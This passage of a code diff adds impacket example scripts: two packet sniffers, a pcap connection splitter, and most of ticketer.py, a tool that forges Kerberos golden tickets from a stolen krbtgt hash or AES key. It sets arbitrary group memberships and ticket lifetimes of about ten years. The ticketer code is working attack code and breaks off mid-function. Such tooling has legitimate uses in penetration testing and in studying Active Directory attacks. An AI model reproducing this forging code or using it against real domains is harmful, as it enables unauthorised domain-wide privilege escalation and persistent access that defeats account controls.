||||
main()
|
||||
|
||||
@@ -0,0 +1,104 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Simple packet sniffer.
|
||||
#
|
||||
# This packet sniffer uses the pcap library to listen for packets in
|
||||
# transit over the specified interface. The returned packages can be
|
||||
# filtered according to a BPF filter (see tcpdump(3) for further
|
||||
# information on BPF filters).
|
||||
#
|
||||
# Note that the user might need special permissions to be able to use pcap.
|
||||
#
|
||||
# Authors:
|
||||
# Maximiliano Caceres <max@coresecurity.com>
|
||||
# Javier Kohen <jkohen@coresecurity.com>
|
||||
#
|
||||
# Reference for:
|
||||
# pcapy: findalldevs, open_live.
|
||||
# ImpactDecoder.
|
||||
|
||||
import sys
|
||||
from threading import Thread
|
||||
import pcapy
|
||||
from pcapy import findalldevs, open_live
|
||||
|
||||
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
|
||||
|
||||
|
||||
class DecoderThread(Thread):
|
||||
def __init__(self, pcapObj):
|
||||
# Query the type of the link and instantiate a decoder accordingly.
|
||||
datalink = pcapObj.datalink()
|
||||
if pcapy.DLT_EN10MB == datalink:
|
||||
self.decoder = EthDecoder()
|
||||
elif pcapy.DLT_LINUX_SLL == datalink:
|
||||
self.decoder = LinuxSLLDecoder()
|
||||
else:
|
||||
raise Exception("Datalink type not supported: " % datalink)
|
||||
|
||||
self.pcap = pcapObj
|
||||
Thread.__init__(self)
|
||||
|
||||
def run(self):
|
||||
# Sniff ad infinitum.
|
||||
# PacketHandler shall be invoked by pcap for every packet.
|
||||
self.pcap.loop(0, self.packetHandler)
|
||||
|
||||
def packetHandler(self, hdr, data):
|
||||
# Use the ImpactDecoder to turn the rawpacket into a hierarchy
|
||||
# of ImpactPacket instances.
|
||||
# Display the packet in human-readable form.
|
||||
print self.decoder.decode(data)
|
||||
|
||||
|
||||
def getInterface():
|
||||
# Grab a list of interfaces that pcap is able to listen on.
|
||||
# The current user will be able to listen from all returned interfaces,
|
||||
# using open_live to open them.
|
||||
ifs = findalldevs()
|
||||
|
||||
# No interfaces available, abort.
|
||||
if 0 == len(ifs):
|
||||
print "You don't have enough permissions to open any interface on this system."
|
||||
sys.exit(1)
|
||||
|
||||
# Only one interface available, use it.
|
||||
elif 1 == len(ifs):
|
||||
print 'Only one interface present, defaulting to it.'
|
||||
return ifs[0]
|
||||
|
||||
# Ask the user to choose an interface from the list.
|
||||
count = 0
|
||||
for iface in ifs:
|
||||
print '%i - %s' % (count, iface)
|
||||
count += 1
|
||||
idx = int(raw_input('Please select an interface: '))
|
||||
|
||||
return ifs[idx]
|
||||
|
||||
def main(filter):
|
||||
dev = getInterface()
|
||||
|
||||
# Open interface for catpuring.
|
||||
p = open_live(dev, 1500, 0, 100)
|
||||
|
||||
# Set the BPF filter. See tcpdump(3).
|
||||
p.setfilter(filter)
|
||||
|
||||
print "Listening on %s: net=%s, mask=%s, linktype=%d" % (dev, p.getnet(), p.getmask(), p.datalink())
|
||||
|
||||
# Start sniffing thread and finish main thread.
|
||||
DecoderThread(p).start()
|
||||
|
||||
# Process command-line arguments. Take everything as a BPF filter to pass
|
||||
# onto pcap. Default to the empty filter (match all).
|
||||
filter = ''
|
||||
if len(sys.argv) > 1:
|
||||
filter = ' '.join(sys.argv[1:])
|
||||
|
||||
main(filter)
|
||||
@@ -0,0 +1,74 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Simple packet sniffer.
|
||||
#
|
||||
# This packet sniffer uses a raw socket to listen for packets
|
||||
# in transit corresponding to the specified protocols.
|
||||
#
|
||||
# Note that the user might need special permissions to be able to use
|
||||
# raw sockets.
|
||||
#
|
||||
# Authors:
|
||||
# Gerardo Richarte <gera@coresecurity.com>
|
||||
# Javier Kohen <jkohen@coresecurity.com>
|
||||
#
|
||||
# Reference for:
|
||||
# ImpactDecoder.
|
||||
|
||||
from select import select
|
||||
import socket
|
||||
import sys
|
||||
|
||||
from impacket import ImpactDecoder
|
||||
|
||||
DEFAULT_PROTOCOLS = ('icmp', 'tcp', 'udp')
|
||||
|
||||
if len(sys.argv) == 1:
|
||||
toListen = DEFAULT_PROTOCOLS
|
||||
print "Using default set of protocols. A list of protocols can be supplied from the command line, eg.: %s <proto1> [proto2] ..." % sys.argv[0]
|
||||
else:
|
||||
toListen = sys.argv[1:]
|
||||
|
||||
# Open one socket for each specified protocol.
|
||||
# A special option is set on the socket so that IP headers are included with
|
||||
# the returned data.
|
||||
sockets = []
|
||||
for protocol in toListen:
|
||||
try:
|
||||
protocol_num = socket.getprotobyname(protocol)
|
||||
except socket.error:
|
||||
print "Ignoring unknown protocol:", protocol
|
||||
toListen.remove(protocol)
|
||||
continue
|
||||
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, protocol_num)
|
||||
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
||||
sockets.append(s)
|
||||
|
||||
if 0 == len(toListen):
|
||||
print "There are no protocols available."
|
||||
sys.exit(0)
|
||||
|
||||
print "Listening on protocols:", toListen
|
||||
|
||||
# Instantiate an IP packets decoder.
|
||||
# As all the packets include their IP header, that decoder only is enough.
|
||||
decoder = ImpactDecoder.IPDecoder()
|
||||
|
||||
while len(sockets) > 0:
|
||||
# Wait for an incoming packet on any socket.
|
||||
ready = select(sockets, [], [])[0]
|
||||
for s in ready:
|
||||
packet = s.recvfrom(4096)[0]
|
||||
if 0 == len(packet):
|
||||
# Socket remotely closed. Discard it.
|
||||
sockets.remove(s)
|
||||
s.close()
|
||||
else:
|
||||
# Packet received. Decode and display it.
|
||||
packet = decoder.decode(packet)
|
||||
print packet
|
||||
@@ -0,0 +1,140 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2003 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Pcap dump splitter.
|
||||
#
|
||||
# This tools splits pcap capture files into smaller ones, one for each
|
||||
# different TCP/IP connection found in the original.
|
||||
#
|
||||
# Authors:
|
||||
# Alejandro D. Weil <aweil@coresecurity.com>
|
||||
# Javier Kohen <jkohen@coresecurity.com>
|
||||
#
|
||||
# Reference for:
|
||||
# pcapy: open_offline, pcapdumper.
|
||||
# ImpactDecoder.
|
||||
|
||||
import sys
|
||||
from exceptions import Exception
|
||||
import pcapy
|
||||
from pcapy import open_offline
|
||||
|
||||
from impacket.ImpactDecoder import EthDecoder, LinuxSLLDecoder
|
||||
|
||||
|
||||
class Connection:
|
||||
"""This class can be used as a key in a dictionary to select a connection
|
||||
given a pair of peers. Two connections are considered the same if both
|
||||
peers are equal, despite the order in which they were passed to the
|
||||
class constructor.
|
||||
"""
|
||||
|
||||
def __init__(self, p1, p2):
|
||||
"""This constructor takes two tuples, one for each peer. The first
|
||||
element in each tuple is the IP address as a string, and the
|
||||
second is the port as an integer.
|
||||
"""
|
||||
|
||||
self.p1 = p1
|
||||
self.p2 = p2
|
||||
|
||||
def getFilename(self):
|
||||
"""Utility function that returns a filename composed by the IP
|
||||
addresses and ports of both peers.
|
||||
"""
|
||||
return '%s.%d-%s.%d.pcap'%(self.p1[0],self.p1[1],self.p2[0],self.p2[1])
|
||||
|
||||
def __cmp__(self, other):
|
||||
if ((self.p1 == other.p1 and self.p2 == other.p2)
|
||||
or (self.p1 == other.p2 and self.p2 == other.p1)):
|
||||
return 0
|
||||
else:
|
||||
return -1
|
||||
|
||||
def __hash__(self):
|
||||
return (hash(self.p1[0]) ^ hash(self.p1[1])
|
||||
^ hash(self.p2[0]) ^ hash(self.p2[1]))
|
||||
|
||||
|
||||
class Decoder:
|
||||
def __init__(self, pcapObj):
|
||||
# Query the type of the link and instantiate a decoder accordingly.
|
||||
datalink = pcapObj.datalink()
|
||||
if pcapy.DLT_EN10MB == datalink:
|
||||
self.decoder = EthDecoder()
|
||||
elif pcapy.DLT_LINUX_SLL == datalink:
|
||||
self.decoder = LinuxSLLDecoder()
|
||||
else:
|
||||
raise Exception("Datalink type not supported: " % datalink)
|
||||
|
||||
self.pcap = pcapObj
|
||||
self.connections = {}
|
||||
|
||||
def start(self):
|
||||
# Sniff ad infinitum.
|
||||
# PacketHandler shall be invoked by pcap for every packet.
|
||||
self.pcap.loop(0, self.packetHandler)
|
||||
|
||||
def packetHandler(self, hdr, data):
|
||||
"""Handles an incoming pcap packet. This method only knows how
|
||||
to recognize TCP/IP connections.
|
||||
Be sure that only TCP packets are passed onto this handler (or
|
||||
fix the code to ignore the others).
|
||||
|
||||
Setting r"ip proto \tcp" as part of the pcap filter expression
|
||||
suffices, and there shouldn't be any problem combining that with
|
||||
other expressions.
|
||||
"""
|
||||
|
||||
# Use the ImpactDecoder to turn the rawpacket into a hierarchy
|
||||
# of ImpactPacket instances.
|
||||
p = self.decoder.decode(data)
|
||||
ip = p.child()
|
||||
tcp = ip.child()
|
||||
|
||||
# Build a distinctive key for this pair of peers.
|
||||
src = (ip.get_ip_src(), tcp.get_th_sport() )
|
||||
dst = (ip.get_ip_dst(), tcp.get_th_dport() )
|
||||
con = Connection(src,dst)
|
||||
|
||||
# If there isn't an entry associated yetwith this connection,
|
||||
# open a new pcapdumper and create an association.
|
||||
if not self.connections.has_key(con):
|
||||
fn = con.getFilename()
|
||||
print "Found a new connection, storing into:", fn
|
||||
try:
|
||||
dumper = self.pcap.dump_open(fn)
|
||||
except pcapy.PcapError, e:
|
||||
print "Can't write packet to:", fn
|
||||
return
|
||||
self.connections[con] = dumper
|
||||
|
||||
# Write the packet to the corresponding file.
|
||||
self.connections[con].dump(hdr, data)
|
||||
|
||||
|
||||
|
||||
def main(filename):
|
||||
# Open file
|
||||
p = open_offline(filename)
|
||||
|
||||
# At the moment the callback only accepts TCP/IP packets.
|
||||
p.setfilter(r'ip proto \tcp')
|
||||
|
||||
print "Reading from %s: linktype=%d" % (filename, p.datalink())
|
||||
|
||||
# Start decoding process.
|
||||
Decoder(p).start()
|
||||
|
||||
|
||||
# Process command-line arguments.
|
||||
if __name__ == '__main__':
|
||||
if len(sys.argv) <= 1:
|
||||
print "Usage: %s <filename>" % sys.argv[0]
|
||||
sys.exit(1)
|
||||
|
||||
main(sys.argv[1])
|
||||
@@ -0,0 +1,746 @@
|
||||
#!/usr/bin/env python
|
||||
# Copyright (c) 2016 CORE Security Technologies
|
||||
#
|
||||
# This software is provided under under a slightly modified version
|
||||
# of the Apache Software License. See the accompanying LICENSE file
|
||||
# for more information.
|
||||
#
|
||||
# Author:
|
||||
# Alberto Solino (@agsolino)
|
||||
#
|
||||
# Description:
|
||||
# This script will create TGT/TGS tickets from scratch or based on a template (legally requested from the KDC)
|
||||
# allowing you to customize some of the parameters set inside the PAC_LOGON_INFO structure, in particular the
|
||||
# groups, extrasids, etc.
|
||||
# Tickets duration is fixed to 10 years from now (although you can manually change it)
|
||||
#
|
||||
# References:
|
||||
# Original presentation at BlackHat USA 2014 by @gentilkiwi and @passingthehash:
|
||||
# (http://www.slideshare.net/gentilkiwi/abusing-microsoft-kerberos-sorry-you-guys-dont-get-it)
|
||||
# Original implemetation by Benjamin Delpy (@gentilkiwi) in mimikatz
|
||||
# (https://github.com/gentilkiwi/mimikatz)
|
||||
#
|
||||
# Examples:
|
||||
# ./ticketer.py -nthash <krbtgt nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
|
||||
#
|
||||
# will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.
|
||||
# If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256
|
||||
# (depending on the key specified). No traffic is generated against the KDC. Ticket will be saved as
|
||||
# baduser.ccache.
|
||||
#
|
||||
# ./ticketer.py -nthash <krbtgt nthash> -aesKey <krbtgt AES> -domain-sid <your domain SID> -domain <your domain FQDN>
|
||||
# -request -user <a valid domain user> -password <valid domain user's password> baduser
|
||||
#
|
||||
# will first authenticate against the KDC (using -user/-password) and get a TGT that will be used
|
||||
# as template for customization. Whatever encryption algorithms used on that ticket will be honored,
|
||||
# hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser' and saved
|
||||
# as baduser.ccache.
|
||||
#
|
||||
# ToDo:
|
||||
# [ ] Silver tickets still not implemented
|
||||
# [ ] When -request is specified, we could ask for a user2user ticket and also populate the received PAC
|
||||
#
|
||||
import argparse
|
||||
import datetime
|
||||
import logging
|
||||
import random
|
||||
import string
|
||||
import sys
|
||||
from calendar import timegm
|
||||
from time import strptime
|
||||
from binascii import unhexlify
|
||||
|
||||
from pyasn1.codec.der import encoder, decoder
|
||||
|
||||
from impacket import version
|
||||
from impacket.winregistry import hexdump
|
||||
from impacket.dcerpc.v5.dtypes import RPC_SID
|
||||
from impacket.dcerpc.v5.ndr import NDRULONG
|
||||
from impacket.dcerpc.v5.samr import NULL, GROUP_MEMBERSHIP, SE_GROUP_MANDATORY, SE_GROUP_ENABLED_BY_DEFAULT, \
|
||||
SE_GROUP_ENABLED, USER_NORMAL_ACCOUNT, USER_DONT_EXPIRE_PASSWORD
|
||||
from impacket.examples import logger
|
||||
from impacket.krb5.asn1 import AS_REP, ETYPE_INFO2, AuthorizationData, EncTicketPart, EncASRepPart
|
||||
from impacket.krb5.constants import ApplicationTagNumbers, PreAuthenticationDataTypes, EncryptionTypes, \
|
||||
PrincipalNameType, ProtocolVersionNumber, TicketFlags, encodeFlags, ChecksumTypes, AuthorizationDataType, \
|
||||
KERB_NON_KERB_CKSUM_SALT
|
||||
from impacket.krb5.crypto import Key, _enctype_table
|
||||
from impacket.krb5.crypto import _checksum_table, Enctype
|
||||
from impacket.krb5.pac import KERB_SID_AND_ATTRIBUTES, PAC_SIGNATURE_DATA, PAC_INFO_BUFFER, PAC_LOGON_INFO, \
|
||||
PAC_CLIENT_INFO_TYPE, PAC_SERVER_CHECKSUM, PAC_PRIVSVR_CHECKSUM, PACTYPE, PKERB_SID_AND_ATTRIBUTES_ARRAY, \
|
||||
VALIDATION_INFO, PAC_CLIENT_INFO, KERB_VALIDATION_INFO
|
||||
from impacket.krb5.types import KerberosTime, Principal
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
|
||||
|
||||
class TICKETER:
|
||||
def __init__(self, target, password, domain, options):
|
||||
self.__password = password
|
||||
self.__target = target
|
||||
self.__domain = domain
|
||||
self.__options = options
|
||||
|
||||
@staticmethod
|
||||
def getFileTime(t):
|
||||
t *= 10000000
|
||||
t += 116444736000000000
|
||||
return t
|
||||
|
||||
def createBasicValidationInfo(self):
|
||||
# 1) KERB_VALIDATION_INFO
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
|
||||
aTime = timegm(datetime.datetime.utcnow().timetuple())
|
||||
unixTime = self.getFileTime(aTime)
|
||||
|
||||
kerbdata['LogonTime']['dwLowDateTime'] = unixTime & 0xffffffff
|
||||
kerbdata['LogonTime']['dwHighDateTime'] = unixTime >> 32
|
||||
|
||||
# LogoffTime: A FILETIME structure that contains the time the client's logon
|
||||
# session should expire. If the session should not expire, this structure
|
||||
# SHOULD have the dwHighDateTime member set to 0x7FFFFFFF and the dwLowDateTime
|
||||
# member set to 0xFFFFFFFF. A recipient of the PAC SHOULD<7> use this value as
|
||||
# an indicator of when to warn the user that the allowed time is due to expire.
|
||||
kerbdata['LogoffTime']['dwLowDateTime'] = 0xFFFFFFFF
|
||||
kerbdata['LogoffTime']['dwHighDateTime'] = 0x7FFFFFFF
|
||||
|
||||
# KickOffTime: A FILETIME structure that contains LogoffTime minus the user
|
||||
# account's forceLogoff attribute ([MS-ADA1] section 2.233) value. If the
|
||||
# client should not be logged off, this structure SHOULD have the dwHighDateTime
|
||||
# member set to 0x7FFFFFFF and the dwLowDateTime member set to 0xFFFFFFFF.
|
||||
# The Kerberos service ticket end time is a replacement for KickOffTime.
|
||||
# The service ticket lifetime SHOULD NOT be set longer than the KickOffTime of
|
||||
# an account. A recipient of the PAC SHOULD<8> use this value as the indicator
|
||||
# of when the client should be forcibly disconnected.
|
||||
kerbdata['KickOffTime']['dwLowDateTime'] = 0xFFFFFFFF
|
||||
kerbdata['KickOffTime']['dwHighDateTime'] = 0x7FFFFFFF
|
||||
|
||||
kerbdata['PasswordLastSet']['dwLowDateTime'] = unixTime & 0xffffffff
|
||||
kerbdata['PasswordLastSet']['dwHighDateTime'] = unixTime >> 32
|
||||
|
||||
kerbdata['PasswordCanChange']['dwLowDateTime'] = 0
|
||||
kerbdata['PasswordCanChange']['dwHighDateTime'] = 0
|
||||
|
||||
# PasswordMustChange: A FILETIME structure that contains the time at which
|
||||
# theclient's password expires. If the password will not expire, this
|
||||
# structure MUST have the dwHighDateTime member set to 0x7FFFFFFF and the
|
||||
# dwLowDateTime member set to 0xFFFFFFFF.
|
||||
kerbdata['PasswordMustChange']['dwLowDateTime'] = 0xFFFFFFFF
|
||||
kerbdata['PasswordMustChange']['dwHighDateTime'] = 0x7FFFFFFF
|
||||
|
||||
kerbdata['EffectiveName'] = self.__target
|
||||
kerbdata['FullName'] = ''
|
||||
kerbdata['LogonScript'] = ''
|
||||
kerbdata['ProfilePath'] = ''
|
||||
kerbdata['HomeDirectory'] = ''
|
||||
kerbdata['HomeDirectoryDrive'] = ''
|
||||
kerbdata['LogonCount'] = 500
|
||||
kerbdata['BadPasswordCount'] = 0
|
||||
kerbdata['UserId'] = int(self.__options.user_id)
|
||||
kerbdata['PrimaryGroupId'] = 513
|
||||
|
||||
# Our Golden Well-known groups! :)
|
||||
groups = self.__options.groups.split(',')
|
||||
kerbdata['GroupCount'] = len(groups)
|
||||
|
||||
for group in groups:
|
||||
groupMembership = GROUP_MEMBERSHIP()
|
||||
groupId = NDRULONG()
|
||||
groupId['Data'] = int(group)
|
||||
groupMembership['RelativeId'] = groupId
|
||||
groupMembership['Attributes'] = SE_GROUP_MANDATORY | SE_GROUP_ENABLED_BY_DEFAULT | SE_GROUP_ENABLED
|
||||
kerbdata['GroupIds'].append(groupMembership)
|
||||
|
||||
kerbdata['UserFlags'] = 0
|
||||
kerbdata['UserSessionKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
kerbdata['LogonServer'] = ''
|
||||
kerbdata['LogonDomainName'] = self.__domain.upper()
|
||||
kerbdata['LogonDomainId'].fromCanonical(self.__options.domain_sid)
|
||||
kerbdata['LMKey'] = '\x00\x00\x00\x00\x00\x00\x00\x00'
|
||||
kerbdata['UserAccountControl'] = USER_NORMAL_ACCOUNT | USER_DONT_EXPIRE_PASSWORD
|
||||
kerbdata['SubAuthStatus'] = 0
|
||||
kerbdata['LastSuccessfulILogon']['dwLowDateTime'] = 0
|
||||
kerbdata['LastSuccessfulILogon']['dwHighDateTime'] = 0
|
||||
kerbdata['LastFailedILogon']['dwLowDateTime'] = 0
|
||||
kerbdata['LastFailedILogon']['dwHighDateTime'] = 0
|
||||
kerbdata['FailedILogonCount'] = 0
|
||||
kerbdata['Reserved3'] = 0
|
||||
|
||||
kerbdata['ResourceGroupDomainSid'] = NULL
|
||||
kerbdata['ResourceGroupCount'] = 0
|
||||
kerbdata['ResourceGroupIds'] = NULL
|
||||
|
||||
validationInfo = VALIDATION_INFO()
|
||||
validationInfo['Data'] = kerbdata
|
||||
|
||||
return validationInfo
|
||||
|
||||
def createBasicPac(self, kdcRep):
|
||||
validationInfo = self.createBasicValidationInfo()
|
||||
pacInfos = {}
|
||||
pacInfos[PAC_LOGON_INFO] = validationInfo.getData() + validationInfo.getDataReferents()
|
||||
srvCheckSum = PAC_SIGNATURE_DATA()
|
||||
privCheckSum = PAC_SIGNATURE_DATA()
|
||||
|
||||
if kdcRep['ticket']['enc-part']['etype'] == EncryptionTypes.rc4_hmac.value:
|
||||
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
|
||||
privCheckSum['SignatureType'] = ChecksumTypes.hmac_md5.value
|
||||
srvCheckSum['Signature'] = '\x00' * 16
|
||||
privCheckSum['Signature'] = '\x00' * 16
|
||||
else:
|
||||
srvCheckSum['Signature'] = '\x00' * 12
|
||||
privCheckSum['Signature'] = '\x00' * 12
|
||||
if len(self.__options.aesKey) == 64:
|
||||
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
|
||||
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes256.value
|
||||
else:
|
||||
srvCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
|
||||
privCheckSum['SignatureType'] = ChecksumTypes.hmac_sha1_96_aes128.value
|
||||
|
||||
pacInfos[PAC_SERVER_CHECKSUM] = srvCheckSum.getData()
|
||||
pacInfos[PAC_PRIVSVR_CHECKSUM] = privCheckSum.getData()
|
||||
|
||||
clientInfo = PAC_CLIENT_INFO()
|
||||
clientInfo['Name'] = self.__target.encode('utf-16le')
|
||||
clientInfo['NameLength'] = len(clientInfo['Name'])
|
||||
pacInfos[PAC_CLIENT_INFO_TYPE] = clientInfo.getData()
|
||||
|
||||
return pacInfos
|
||||
|
||||
def createBasicTicket(self):
|
||||
if self.__options.request is True:
|
||||
logging.info('Requesting TGT to target domain to use as basis')
|
||||
if self.__options.hashes is not None:
|
||||
lmhash, nthash = self.__options.hashes.split(':')
|
||||
else:
|
||||
lmhash = ''
|
||||
nthash = ''
|
||||
userName = Principal(self.__options.user, type=PrincipalNameType.NT_PRINCIPAL.value)
|
||||
tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain,
|
||||
lmhash, nthash, None,
|
||||
self.__options.dc_ip)
|
||||
|
||||
kdcRep = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
|
||||
# Let's check we have all the neccesary data based on the ciphers used. Boring checks
|
||||
ticketCipher = int(kdcRep['ticket']['enc-part']['etype'])
|
||||
encPartCipher = int(kdcRep['enc-part']['etype'])
|
||||
|
||||
if (ticketCipher == EncryptionTypes.rc4_hmac.value or encPartCipher == EncryptionTypes.rc4_hmac.value) and \
|
||||
self.__options.nthash is None:
|
||||
logging.critical('rc4_hmac is used in this ticket and you haven\'t specified the -nthash parameter. '
|
||||
'Can\'t continue ( or try running again w/o the -request option)')
|
||||
return None, None
|
||||
|
||||
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
|
||||
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
|
||||
self.__options.aesKey is None:
|
||||
logging.critical(
|
||||
'aes128_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
|
||||
'Can\'t continue (or try running again w/o the -request option)')
|
||||
return None, None
|
||||
|
||||
if (ticketCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value or
|
||||
encPartCipher == EncryptionTypes.aes128_cts_hmac_sha1_96.value) and \
|
||||
self.__options.aesKey is not None and len(self.__options.aesKey) > 32:
|
||||
logging.critical(
|
||||
'aes128_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes128. '
|
||||
'Can\'t continue (or try running again w/o the -request option)')
|
||||
return None, None
|
||||
|
||||
if (ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
|
||||
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and self.__options.aesKey is None:
|
||||
logging.critical(
|
||||
'aes256_cts_hmac_sha1_96 is used in this ticket and you haven\'t specified the -aesKey parameter. '
|
||||
'Can\'t continue (or try running again w/o the -request option)')
|
||||
return None, None
|
||||
|
||||
if ( ticketCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value or
|
||||
encPartCipher == EncryptionTypes.aes256_cts_hmac_sha1_96.value) and \
|
||||
self.__options.aesKey is not None and len(self.__options.aesKey) < 64:
|
||||
logging.critical(
|
||||
'aes256_cts_hmac_sha1_96 is used in this ticket and the -aesKey you specified is not aes256. '
|
||||
'Can\'t continue')
|
||||
return None, None
|
||||
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
|
||||
kdcRep['cname']['name-string'] = None
|
||||
kdcRep['cname']['name-string'][0] = self.__target
|
||||
|
||||
else:
|
||||
logging.info('Creating basic skeleton ticket and PAC Infos')
|
||||
kdcRep = AS_REP()
|
||||
kdcRep['pvno'] = 5
|
||||
kdcRep['msg-type'] = ApplicationTagNumbers.AS_REP.value
|
||||
if self.__options.nthash is None:
|
||||
kdcRep['padata'] = None
|
||||
kdcRep['padata'][0] = None
|
||||
kdcRep['padata'][0]['padata-type'] = PreAuthenticationDataTypes.PA_ETYPE_INFO2.value
|
||||
|
||||
etype2 = ETYPE_INFO2()
|
||||
etype2[0] = None
|
||||
if len(self.__options.aesKey) == 64:
|
||||
etype2[0]['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
|
||||
else:
|
||||
etype2[0]['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
|
||||
etype2[0]['salt'] = '%s%s' % (self.__domain.upper(), self.__target)
|
||||
encodedEtype2 = encoder.encode(etype2)
|
||||
|
||||
kdcRep['padata'][0]['padata-value'] = encodedEtype2
|
||||
|
||||
kdcRep['crealm'] = self.__domain.upper()
|
||||
kdcRep['cname'] = None
|
||||
kdcRep['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
|
||||
kdcRep['cname']['name-string'] = None
|
||||
kdcRep['cname']['name-string'][0] = self.__target
|
||||
|
||||
kdcRep['ticket'] = None
|
||||
kdcRep['ticket']['tkt-vno'] = ProtocolVersionNumber.pvno.value
|
||||
kdcRep['ticket']['realm'] = self.__domain.upper()
|
||||
kdcRep['ticket']['sname'] = None
|
||||
kdcRep['ticket']['sname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
|
||||
kdcRep['ticket']['sname']['name-string'] = None
|
||||
kdcRep['ticket']['sname']['name-string'][0] = 'krbtgt'
|
||||
kdcRep['ticket']['sname']['name-string'][1] = self.__domain.upper()
|
||||
|
||||
kdcRep['ticket']['enc-part'] = None
|
||||
kdcRep['ticket']['enc-part']['kvno'] = 2
|
||||
kdcRep['enc-part'] = None
|
||||
if self.__options.nthash is None:
|
||||
if len(self.__options.aesKey) == 64:
|
||||
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
|
||||
kdcRep['enc-part']['etype'] = EncryptionTypes.aes256_cts_hmac_sha1_96.value
|
||||
else:
|
||||
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
|
||||
kdcRep['enc-part']['etype'] = EncryptionTypes.aes128_cts_hmac_sha1_96.value
|
||||
else:
|
||||
kdcRep['ticket']['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
|
||||
kdcRep['enc-part']['etype'] = EncryptionTypes.rc4_hmac.value
|
||||
|
||||
kdcRep['enc-part']['kvno'] = 2
|
||||
kdcRep['enc-part']['cipher'] = None
|
||||
|
||||
pacInfos = self.createBasicPac(kdcRep)
|
||||
|
||||
return kdcRep, pacInfos
|
||||
|
||||
def customizeTicket(self, kdcRep, pacInfos):
|
||||
logging.info('Customizing ticket for %s/%s' % (self.__domain, self.__target))
|
||||
encTicketPart = EncTicketPart()
|
||||
|
||||
flags = list()
|
||||
flags.append(TicketFlags.forwardable.value)
|
||||
flags.append(TicketFlags.proxiable.value)
|
||||
flags.append(TicketFlags.renewable.value)
|
||||
flags.append(TicketFlags.initial.value)
|
||||
flags.append(TicketFlags.pre_authent.value)
|
||||
encTicketPart['flags'] = encodeFlags(flags)
|
||||
encTicketPart['key'] = None
|
||||
encTicketPart['key']['keytype'] = kdcRep['ticket']['enc-part']['etype']
|
||||
|
||||
if encTicketPart['key']['keytype'] == EncryptionTypes.aes128_cts_hmac_sha1_96.value:
|
||||
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
|
||||
elif encTicketPart['key']['keytype'] == EncryptionTypes.aes256_cts_hmac_sha1_96.value:
|
||||
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(32)])
|
||||
else:
|
||||
encTicketPart['key']['keyvalue'] = ''.join([random.choice(string.letters) for _ in range(16)])
|
||||
|
||||
encTicketPart['crealm'] = self.__domain.upper()
|
||||
encTicketPart['cname'] = None
|
||||
encTicketPart['cname']['name-type'] = PrincipalNameType.NT_PRINCIPAL.value
|
||||
encTicketPart['cname']['name-string'] = None
|
||||
encTicketPart['cname']['name-string'][0] = self.__target
|
||||
|
||||
encTicketPart['transited'] = None
|
||||
encTicketPart['transited']['tr-type'] = 0
|
||||
encTicketPart['transited']['contents'] = ''
|
||||
|
||||
encTicketPart['authtime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
|
||||
encTicketPart['starttime'] = KerberosTime.to_asn1(datetime.datetime.utcnow())
|
||||
# Let's extend the ticket's validity a lil bit
|
||||
ticketDuration = datetime.datetime.utcnow() + datetime.timedelta(days=int(self.__options.duration))
|
||||
encTicketPart['endtime'] = KerberosTime.to_asn1(ticketDuration)
|
||||
encTicketPart['renew-till'] = KerberosTime.to_asn1(ticketDuration)
|
||||
encTicketPart['authorization-data'] = None
|
||||
encTicketPart['authorization-data'][0] = None
|
||||
encTicketPart['authorization-data'][0]['ad-type'] = AuthorizationDataType.AD_IF_RELEVANT.value
|
||||
encTicketPart['authorization-data'][0]['ad-data'] = None
|
||||
|
||||
# Let's locate the KERB_VALIDATION_INFO and Checksums
|
||||
